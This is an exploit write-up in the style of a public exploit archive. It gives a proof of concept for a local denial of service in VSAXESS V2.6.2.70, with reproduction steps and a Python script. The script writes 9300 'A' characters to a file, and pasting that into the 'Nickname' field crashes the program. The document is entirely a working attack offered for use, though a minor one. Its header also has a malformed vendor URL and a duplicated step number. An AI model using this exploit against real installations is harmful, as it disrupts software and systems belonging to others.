# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC)
# Discovery by: Diego Santamaria
# Discovery Date: 2018-08-31
# Vendor Homepage: https:https://www.visionistech.com/en/home/
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
# Tested Version: V2.6.2.70 build20171226_053
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional
  
# Steps to Reproduce: 
 
# 1. Run the python code Nickname.py 
# 2. Open nickname_exploit.txt and copy the content 
# 3. Open VSAXESS.exe 
# 4. Register a password and username
# 5. choose 'Add'
# 6. choose 'Serial Port'
# 6. Paste the content from nickname_exploit.txt on 'Nickname'
# 7. Press 'Aceptar' and Crashed
  
#!/usr/bin/env python
 
content = "\x41" * 9300
f = open ("nickname_exploit.txt", "w")
f.write(content)
f.close()